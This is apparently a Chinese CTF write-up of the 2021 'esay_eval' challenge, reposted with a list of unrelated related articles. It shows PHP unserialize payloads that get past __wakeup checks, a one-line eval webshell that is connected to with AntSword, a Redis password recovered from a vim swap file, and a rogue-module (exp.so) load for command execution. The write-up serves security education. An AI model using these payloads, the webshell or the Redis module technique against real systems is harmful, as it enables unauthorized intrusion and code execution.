[天翼杯 2021]esay_eval

[天翼杯 2021]esay_eval

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
} 

 代码审计

给了两个类A和B

A类下有一个公有属性code,call函数和wakeup魔术方法,

B类下有一个一个函数destruct

后面是三个if的判断语句,第一个if判断是isset函数判断request数组中是否有poc参数

preg_match_all函数用于执行一个全局正则表达式匹配。它搜索与给定主题中的模式匹配的所有匹配项,并将匹配项存储在数组中。

语法

int preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] )

搜索 subject 中所有匹配 pattern 给定正则表达式的匹配结果并且将它们以 flag 指定顺序输出到 matches 中。

在第一个匹配找到后, 子序列继续从最后一次匹配位置搜索。

参数说明:

$pattern: 要搜索的模式,字符串形式。

$subject: 输入字符串。

$matches: 多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。

$flags:可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):

PREG_PATTERN_ORDER: 结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。

PREG_SET_ORDER: 结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组), $matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组,以此类推。PREG_OFFSET_CAPTURE: 如果这个标记被传递,每个发现的匹配返回时会增加它相对目标字符串的偏移量。

offset: 通常, 查找时从目标字符串的开始位置开始。可选参数offset用于 从目标字符串中指定位置开始搜索(单位是字节)。

接着分析这段代码:preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);

/"[AB]":匹配双引号内的字母B或A,然后是冒号。

(.*?)非贪婪匹配任意字符,并捕获它们。

:匹配一个冒号。

/s 使`.`匹配包括换行符在内的所有字符。

会从$_REQUEST['poc']字符串中查找所有能够匹配的字符,并把所匹配到的字符存储到$ret数组中。

第二个if是检查$ret,是否找到了匹配项,

foreach遍历匹配结果并验证,遍历匹配的值,并转换为整数,判断是否为1

如果有任何值不等于1就会退出脚本,返回:you want to bypass wakeup ? no !

 如果所有值都通过验证,就对$_REQUEST['poc']进行反序列化,

反序列化将字符串转换回PHP变量。

总的来说就是会对传入的参数进行判断,A或B后面是不是为1,是1才可以继续执行,该题又需要绕过weakup魔术方法,A或B后的一定不能是1,就用到php对类名大小写不敏感的特性去绕过

A或B就可以是a和b,使用小写。

就可以构造payload

<?php
class a{
public $code = "";
function __construct(){
$this->code = "phpinfo();";
}
}
class b{
function __construct(){
$this->a=new a();
	}
}
echo serialize(new b());

 输出:

O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

改成:

O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

绕过weakup魔术方法

传参:/?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

进入phpinfo页面

搜索后里面没有flag

换一种姿势,尝试使用一句话木马。用蚁剑连接

构造:

<?php
class a{
    public $code = "eval(\$_POST[1]);";
    
}

class b{
    public $a;
    function __construct()
    {
        $this -> a=new A();
    }
}
$c = new b();
$poc = serialize($c);
echo $poc;

 输出:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:16:"eval($_POST[1]);";}}

构造:/?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:16:"eval($_POST[1]);";}}

 传入成功后连接蚁剑

 含有一个config.php.swp文件

 是vim泄露,

简述:

当你非正常关闭vim编辑器时(比如直接关闭终端或者电脑断电),会生成一个.swp文件,这个文件是一个临时交换文件,用来备份缓冲区中的内容。

需要注意的是如果你并没有对文件进行修改,而只是读取文件,是不会产生.swp文件的。

意外退出时,并不会覆盖旧的交换文件,而是会重新生成新的交换文件。而原来的文件中并不会有这次的修改,文件内容还是和打开时一样。

例如,第一次产生的交换文件名为“.file.txt.swp”;再次意外退出后,将会产生名为“.file.txt.swo”的交换文件;而第三次产生的交换文件则为“.file.txt.swn”;依此类推。

文件内容:

可以使用Linux命令vi -r config.php.swp来还原文件,使用,ls -al查看文件

但我们直接可以看到内容就不恢复了

内容大概就是:

define("REDIS_PASS","you_cannot_guess_it");

define("DB_DATABASE","test");

define("DB_PASSWOrd","");

define("DB_USERNAME","root");

define("DB_HOST","localhost");

<?php

搜索后是redis,redis就是个数据库,常见端口为6379,常见漏洞为未授权访问。

使用蚁剑的插件redis进行连接

该插件需要科学上网才可以在插件市场下载,不然会一直转圈,加载不出来。

或者可以下载插件源代码。

安装好插件后就可以进行连接

密码是you_cannot_guess_it,在泄露的文件中给了出来。

 连接成功,还需要上传exp.so这个文件,下载地址是:

https://gitcode.com/Dliv3/redis-rogue-server/overview?utm_source=csdn_github_accelerator&isLogin=1

 长传文件后加载这个文件,使用命令

MODULE LOAD /var/www/html/exp.so

 再进行命令执行,ls和cat

 总结:

php对类名大小写不敏感特性可以绕过正则匹配。

对weakup魔术方法的绕过,传入的数量比真实数量大就可以绕过。

eval函数

代码:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

 eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

所以这就是本题的危险函数,通过对poc链的构造先尝试传入phpinfo();成功返回该页面后就可以传入一句话木马,再连接蚁剑,但是权限不够,访问不了根目录,查看config.php.swp文件,涉及到vim泄露,还原文件后得知是redis数据库,给了root账户的密码,使用redis插件进行连接,连接后上传一个so文件用来进一步提权,加载该so文件后就可以进行命令执行。

通过搜索该题还有第二种提权方式

使用disable_functions插件进行提权,只需要简单的ls命令,cat命令就行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/705154.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

减治法思想-二分查找图解案例

减治法介绍 减治法思想 ​ 分治法是将一个大问题划分为若干个子问题&#xff0c;分别求各个子问题&#xff0c;然后把子问题的解进行合并得到原问题的解。 ​ 减治法同样是把一个大问题划分为若干个子问题&#xff0c;但是并不是求解所有的子问题&#xff0c;因为原问题的解…

182.二叉树:二叉搜索树的最小绝对差(力扣)

代码解决 /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode() : val(0), left(nullptr), right(nullptr) {}* TreeNode(int x) : val(x), left(nullptr), right(nullptr) {}* Tre…

剧本新纪元:探索短剧系统的魔力

在现代社会&#xff0c;随着科技的迅猛进步和生活节奏的不断加快&#xff0c;传统的长篇电视剧和电影已不能完全满足所有人的需求。短剧&#xff0c;由于其简短、快速、直接的特性&#xff0c;正在逐步成为一种文化新趋势。短剧系统正是这一趋势的典型代表&#xff0c;它以独特…

Ansys Mechanical|使用Trace Mapping建立PCB板的有限元模型

Trace Mapping需要使用ECAD的方法 传统方法 vs ECAD方法 传统方法既繁琐又费时。以下是一些数据&#xff1a; 导出电路板布局的step文件大约需要30分钟。 导入Ansys SpaceClaim中大约需要10分钟。 进行布尔运算和共享拓扑操作大约需要24小时甚至更久。 而ECAD方法更加快速且…

CV每日论文--2024.6.12

1、PGSR: Planar-based Gaussian Splatting for Efficient and High-Fidelity Surface Reconstruction 中文标题&#xff1a;PGSR&#xff1a;基于平面的高斯溅射&#xff0c;用于高效、高保真表面重建 简介&#xff1a;这项研究关注于3D高斯喷洒(3DGS)技术,该技术因其高质量渲…

探索生成式AI的未来:Chat与Agent的较量与融合

近年来&#xff0c;生成式人工智能&#xff08;AI&#xff09;不仅在技术界引起了广泛关注&#xff0c;更成为了推动多个行业革新的关键力量。这种技术之所以备受瞩目&#xff0c;不仅在于其独特的创造性和高效性&#xff0c;还在于它对未来商业模式和社会结构可能产生的深远影…

Java的Mybatis框架中#{}与${}使用心得

Java的Mybatis框架中#{}与${}使用心得 在MyBatis框架中&#xff0c;#{}和${}都是用来动态地向SQL语句中插入值的&#xff0c;但它们的处理方式和用途有所不同 #{} 安全&#xff1a;#{}是预编译处理&#xff0c;能够有效防止SQL注入。它会将参数看作一个占位符&#xff0c;在…

servlet梦想酒店管理系统

梦想酒店管理系统 酒店管理系统分为管理端&#xff0c;和用户端&#xff0c; 用户端可以查看酒店客房&#xff0c;预定酒店系统&#xff0c;查询预定信息。 管理端&#xff1a;用户管理&#xff0c;类型&#xff0c;房间管理&#xff0c;业务管理&#xff0c;统计分析。 技术&…

无文件落地分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码. --将shellcode单独拿出,放在txt中---等待被读取执行 1-cs生成python的payload. 2-将shellcode进行base64编码 import base64code b en_code base64.b64encode(code) print(en_code) 3-将编码后的shellcode放入文件内 4-读取shellcod…

中国地市分布图

中国地市分布图 (qq.com)

ssm学生成绩管理系统-海豚

ssm学生成绩管理系统-海豚 ssm学生成绩管理系统。 功能:登录&#xff0c;学生信息管理&#xff0c;课程信息&#xff0c;成绩信息&#xff0c; 技术&#xff1a;java&#xff0c;ssm&#xff0c;mybatics&#xff0c;jsp 平台&#xff1a;eclispe或者idea&#xff0c;mysql5.7…

晨持绪科技:抖音网店怎么做有前景

在数字时代的浪潮中&#xff0c;抖音平台以其独特的魅力和庞大的用户基础成为电商的新阵地。开设一家有前景的抖音网店&#xff0c;不仅需要对市场脉搏有敏锐的洞察力&#xff0c;还需融合创新思维与数据驱动的营销策略。 明确定位是成功的先声。深入分析目标消费群体的需求与偏…

官宣!2024影响因子即将公布,或将迎来这些重大变化!

【SciencePub学术】IF是Impact Factor&#xff0c;即我们俗称的“影响因子”&#xff0c;是衡量学术期刊一个重要性的指标。它通过计算期刊上发表的文章在特定时间内被引用的平均次数来评估期刊的影响力。 影响因子计算公式 影响因子&#xff08;IF&#xff09;&#xff08;期…

wms海外仓系统重要吗?对小型海外仓有哪些好处

虽然小型海外仓本身的体量不大&#xff0c;但是在面对激烈的竞争和日益复杂的客户需求面前&#xff0c;要想赢得一席之地&#xff0c;wms海外仓系统还是一个非常必要的工具的。 对于小型海外仓来说&#xff0c;面对的业务复杂度其实并不比大型海外仓小&#xff0c;甚至更大。 …

电能表抄表是什么意思?

一、电能表抄表的定义与重要性 电能表抄表&#xff0c;顾名思义&#xff0c;是指对安装在用户处的电能表进行读数记录的过程&#xff0c;以计算用户的用电量。它是电力公司计算电费、监控电网运行状态以及进行能源管理的基础。随着科技的发展&#xff0c;传统的手动抄表方式逐…

提升消费者满意度的五星售后服务认证

在当今竞争激烈的市场环境中&#xff0c;消费者满意度是企业取得成功的重要因素。五星售后服务认证作为一种权威性认证&#xff0c;可以显著提高消费者满意度&#xff0c;增强企业的竞争力。本文将从四个方面探讨五星售后服务认证如何提高消费者满意度。 五星售后服务认证是由国…

立创·天空星开发板-GD32F407VE-Timer

本文以 立创天空星开发板-GD32F407VET6-青春版 作为学习的板子&#xff0c;记录学习笔记。 立创天空星开发板-GD32F407VE-Timer 定时器基本定时器示例 定时器 定时器是嵌入式系统中常用的一种外设&#xff0c;它可以产生一定的时间间隔、延时、定时等功能&#xff0c;广泛应用于…

NVMe全闪存储系统性能测试及产品功能与应用场景

今天我们继续对全闪存储系统GS 5024UE的评测&#xff0c;重点关注GS 5024UE的性能测试数据&#xff0c;以及产品所具备的功能、应用场景。通过Windows IOmeter测试软件&#xff0c;来测试GS 5024UE设备的性能&#xff0c;在机器上配上24颗 NVMe 3.84TB硬盘, 16条32Gb FC数据&am…

C++ 03 之 命名空间

game_kun.cpp #include "game_kun.h"void kun::atk() {cout << "吃鸡的攻击"<< endl; } game_lol.cpp #include "game_lol.h"void lol::atk() {cout << "lol的攻击"<< endl; } game_kun.h #include <…

举个栗子!Tableau 技巧(276):学做径向柱状图(Radial Column Chart)

关于 径向柱状图&#xff08;Radial Column Chart&#xff09;&#xff0c;俗称环形柱状图。它的用法跟柱形图基本一致&#xff0c;不同之处在于它的值刻度是环形的&#xff0c;数值从内到外依次增加&#xff0c;柱子越长代表数值越大。 数据粉可能会问&#xff1a;径向柱形图…